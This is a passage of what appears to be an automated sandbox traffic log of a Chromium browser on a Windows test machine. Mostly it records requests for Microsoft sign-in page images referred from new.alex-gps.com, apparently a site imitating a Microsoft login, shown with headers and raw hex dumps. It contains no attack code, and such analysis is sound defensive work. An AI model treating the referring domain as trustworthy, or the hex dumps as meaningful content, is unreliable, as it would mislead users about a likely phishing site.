13	192.168.2.16	49726	142.250.114.95	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:48 UTC	559	OUT	GET /v1/pages/ChRDaHJvbWUvMTE0LjAuNTczNS45MBIlCeTcxo9Ema4-EgUNkWGVThIFDTWGVBwSBQ2RYZVOEgUNkWGVTg==?alt=proto HTTP/1.1 Host: content-autofill.googleapis.com Connection: keep-alive X-Goog-Encode-Response-If-Executable: base64 X-Goog-Api-Key: dummytoken X-Client-Data: CIiPywE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:48 UTC	409	IN	HTTP/1.1 400 Bad Request Vary: X-Origin Vary: Referer Content-Type: application/x-protobuf Date: Wed, 23 Oct 2024 22:26:48 GMT Server: ESF Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Origin,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-23 22:26:48 UTC	172	IN	Data Raw: 61 36 0d 0a 08 03 12 2f 41 50 49 20 6b 65 79 20 6e 6f 74 20 76 61 6c 69 64 2e 20 50 6c 65 61 73 65 20 70 61 73 73 20 61 20 76 61 6c 69 64 20 41 50 49 20 6b 65 79 2e 1a 71 0a 28 74 79 70 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 67 6f 6f 67 6c 65 2e 72 70 63 2e 45 72 72 6f 72 49 6e 66 6f 12 45 0a 0f 41 50 49 5f 4b 45 59 5f 49 4e 56 41 4c 49 44 12 0e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 1a 22 0a 07 73 65 72 76 69 63 65 12 17 61 75 74 6f 66 69 6c 6c 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 0d 0a Data Ascii: a6/API key not valid. Please pass a valid API key.q(type.googleapis.com/google.rpc.ErrorInfoEAPI_KEY_INVALIDgoogleapis.com"serviceautofill.googleapis.com
2024-10-23 22:26:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49720	13.107.246.57	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:48 UTC	661	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://new.alex-gps.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:48 UTC	779	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:48 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 46ed0eab-901e-0037-7d52-222e57000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T222648Z-15b8d89586fqckbz0ssbuzzp1n000000018000000000ev8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 22:26:48 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49732	13.107.246.57	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:48 UTC	430	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:49 UTC	779	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:48 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: e9787de0-e01e-0026-7d28-21fcf1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T222648Z-16849878b78rjhv97f3nhawr7s00000006w000000000281k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 22:26:49 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49731	13.107.246.57	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:48 UTC	433	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:49 UTC	799	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:48 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: 08eba4be-301e-0057-6db6-211ada000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T222648Z-16849878b78gvgmlcfru6nuc5400000006wg000000000m1d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 22:26:49 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49730	152.195.19.97	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:48 UTC	436	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:49 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 18367432 Cache-Control: public, max-age=31536000 Content-MD5: 1jQlecEJaGhFO2st5KXLhg== Content-Type: image/svg+xml Date: Wed, 23 Oct 2024 22:26:49 GMT Etag: 0x8DB5C3F4AC59B47 Last-Modified: Wed, 24 May 2023 10:11:51 GMT Server: ECAcc (dac/9C69) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: a9b873df-801e-00eb-088d-7e6a46000000 x-ms-version: 2009-09-19 Content-Length: 1636 Connection: close
2024-10-23 22:26:49 UTC	1636	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 38 2c 31 34 48 31 30 56 33 34 48 33 38 56 31 34 6d 32 2c 32 32 48 38 56 31 32 48 34 30 56 33 36 4d 31 37 2e 36 38 38 2c 31 38 2e 38 56 32 38 2e 38 32 38 48 31 35 2e 35 33 31 56 32 31 2e 32 33 34 61 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 2e 36 37 32 2e 34 33 6c 2d 2e 32 36 36 2e 31 31 37 61 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49733	13.107.246.57	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:48 UTC	428	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:49 UTC	799	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:48 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: b9fe5beb-001e-0011-7ea5-242e5d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T222648Z-16849878b78gvgmlcfru6nuc5400000006q000000000vbkf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 22:26:49 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49737	13.107.246.57	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:49 UTC	450	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:49 UTC	779	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:49 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 95332588-d01e-0054-2124-22b3ac000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T222649Z-16849878b78z5q7jpbgf6e9mcw00000006yg000000008v9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 22:26:49 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49741	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:53 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=6ELBXlAsbLdG2fF&MD=8cMuWYEm HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-23 22:26:53 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 4607bcf6-2aee-4ad6-9210-4f38a774bb36 MS-RequestId: 362b6810-f921-4916-8239-c1c1c478d83c MS-CV: NKarr8LdTUCuD+H+.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 23 Oct 2024 22:26:52 GMT Connection: close Content-Length: 24490
2024-10-23 22:26:53 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-23 22:26:53 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49742	13.107.246.57	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:53 UTC	640	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://new.alex-gps.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:53 UTC	778	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:53 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: efc9f1c8-601e-0075-0841-22dfc5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T222653Z-16849878b78mhkkf6kbvry07q000000006qg00000000eu4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 22:26:53 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49743	142.250.113.101	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:53 UTC	405	OUT	GET /webstore/inlineinstall/detail/efaidnbmnnnibpcajpcglclefindmkaj HTTP/1.1 Host: chrome.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
